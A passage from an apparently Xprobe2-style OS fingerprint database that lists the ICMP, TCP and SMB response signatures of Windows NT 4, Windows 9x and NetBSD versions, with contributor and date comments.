tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <128 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 8760 tcp_syn_ack_options_order = "MSS" tcp_syn_ack_wscale = NONE tcp_syn_ack_tsval = NONE tcp_syn_ack_tsecr = NONE #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <128 smb_lanman = NT LAN Manager 4.0 smb_nativeos = Windows NT 4.0 } fingerprint { OS_ID = "Microsoft Windows NT 4 Workstation Service Pack 5" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 30 July 2002 #Modified: 05 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = 0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <128 #Module B icmp_timestamp_reply = n icmp_timestamp_reply_ttl = <128 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <128 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <128 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <128 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <128 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 8760 tcp_syn_ack_options_order = "MSS" tcp_syn_ack_wscale = NONE tcp_syn_ack_tsval = NONE tcp_syn_ack_tsecr = NONE #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <128 smb_lanman = NT LAN Manager 4.0 smb_nativeos = Windows NT 4.0 } fingerprint { OS_ID = "Microsoft Windows NT 4 Workstation Service Pack 4" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 30 July 2002 #Modified: 05 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = 0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <128 #Module B icmp_timestamp_reply = n icmp_timestamp_reply_ttl = <128 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <128 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <128 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <128 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <128 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 8760 tcp_syn_ack_options_order = "MSS" tcp_syn_ack_wscale = NONE tcp_syn_ack_tsval = NONE tcp_syn_ack_tsecr = NONE #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <128 smb_lanman = NT LAN Manager 4.0 smb_nativeos = Windows NT 4.0 } fingerprint { OS_ID = "Microsoft Windows NT 4 Workstation Service Pack 3" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 30 July 2002 #Modified: 05 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = 0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <128 #Module B icmp_timestamp_reply = n icmp_timestamp_reply_ttl = <128 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = y icmp_addrmask_reply_ttl = <128 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <128 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <128 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <128 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 8760 tcp_syn_ack_options_order = "MSS" tcp_syn_ack_wscale = NONE tcp_syn_ack_tsval = NONE tcp_syn_ack_tsecr = NONE #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <128 smb_lanman = NT LAN Manager 4.0 smb_nativeos = Windows NT 4.0 } fingerprint { OS_ID = "Microsoft Windows NT 4 Workstation Service Pack 2" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 30 July 2002 #Modified: 05 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = 0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <128 #Module B icmp_timestamp_reply = n icmp_timestamp_reply_ttl = <128 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = y icmp_addrmask_reply_ttl = <128 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <128 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <128 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <128 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 8760 tcp_syn_ack_options_order = "MSS" tcp_syn_ack_wscale = NONE tcp_syn_ack_tsval = NONE tcp_syn_ack_tsecr = NONE #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <128 smb_lanman = NT LAN Manager 4.0 smb_nativeos = Windows NT 4.0 } fingerprint { OS_ID = "Microsoft Windows NT 4 Workstation Service Pack 1" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 30 July 2002 #Modified: 05 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = 0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <128 #Module B icmp_timestamp_reply = n icmp_timestamp_reply_ttl = <128 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = y icmp_addrmask_reply_ttl = <128 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <128 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <128 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <128 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 8760 tcp_syn_ack_options_order = "MSS" tcp_syn_ack_wscale = NONE tcp_syn_ack_tsval = NONE tcp_syn_ack_tsecr = NONE #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <128 smb_lanman = NT LAN Manager 4.0 smb_nativeos = Windows NT 4.0 } fingerprint { OS_ID = "Microsoft Windows NT 4 Workstation" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 30 July 2002 #Modified: 05 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = 0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <128 #Module B icmp_timestamp_reply = n icmp_timestamp_reply_ttl = <128 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = y icmp_addrmask_reply_ttl = <128 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <128 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <128 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <128 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 8760 tcp_syn_ack_options_order = "MSS" tcp_syn_ack_wscale = NONE tcp_syn_ack_tsval = NONE tcp_syn_ack_tsecr = NONE #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <128 smb_lanman = NT LAN Manager 4.0 smb_nativeos = Windows NT 4.0 } fingerprint { OS_ID = "Microsoft Windows 98 Second Edition (SE)" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 29 July 2002 #Modified: 05 July 2003 #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = 0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <128 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <128 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = y icmp_addrmask_reply_ttl = <128 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = n icmp_info_reply_ttl = <128 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <128 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <128 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 8760 tcp_syn_ack_options_order = "MSS NOP NOP SACK" tcp_syn_ack_wscale = NONE tcp_syn_ack_tsval = NONE tcp_syn_ack_tsecr = NONE #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <128 } fingerprint { OS_ID = "Microsoft Windows 98" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 29 July 2002 #Modified: 14 July 2003 #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = 0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <128 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <128 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = y icmp_addrmask_reply_ttl = <128 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = n icmp_info_reply_ttl = <128 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <128 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <128 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 8760 tcp_syn_ack_options_order = "MSS NOP NOP SACK" tcp_syn_ack_wscale = NONE tcp_syn_ack_tsval = NONE tcp_syn_ack_tsecr = NONE #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <128 } fingerprint { OS_ID = "Microsoft Windows 95" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 05 July 2003 #Modified: 05 July 2003 #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = 0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <32 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = n icmp_timestamp_reply_ttl = <32 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = y icmp_addrmask_reply_ttl = <32 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = n icmp_info_reply_ttl = <32 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <32 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <32 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 8760 tcp_syn_ack_options_order = "MSS" tcp_syn_ack_wscale = NONE tcp_syn_ack_tsval = NONE tcp_syn_ack_tsecr = NONE #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <32 } #NetBSD fingerprint { OS_ID = "NetBSD 2.0" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 14 December 2004 #Modified: - #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 32768 tcp_syn_ack_options_order = "MSS NOP WSCALE NOP NOP TIMESTAMP" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = 0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 } fingerprint { OS_ID = "NetBSD 1.6.2" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 14 December 2004 #Modified: - #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 0 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 16384 tcp_syn_ack_options_order = "MSS NOP WSCALE NOP NOP TIMESTAMP" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = 0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 } fingerprint { OS_ID = "NetBSD 1.6.1" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 11 August 2002 #Modified: 06 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 0 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 16384 tcp_syn_ack_options_order = "MSS NOP WSCALE NOP NOP TIMESTAMP" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = 0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 } fingerprint { OS_ID = "NetBSD 1.6" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 11 August 2002 #Modified: 06 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 0 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 16384 tcp_syn_ack_options_order = "MSS NOP WSCALE NOP NOP TIMESTAMP" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = 0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 } fingerprint { OS_ID = "NetBSD 1.5.3" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 11 August 2002 #Modified: 06 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 0 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 16384 tcp_syn_ack_options_order = "MSS NOP WSCALE NOP NOP TIMESTAMP" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 } fingerprint { OS_ID = "NetBSD 1.5.2" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 11 August 2002 #Modified: 06 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 0 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 16384 tcp_syn_ack_options_order = "MSS NOP WSCALE NOP NOP TIMESTAMP" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] 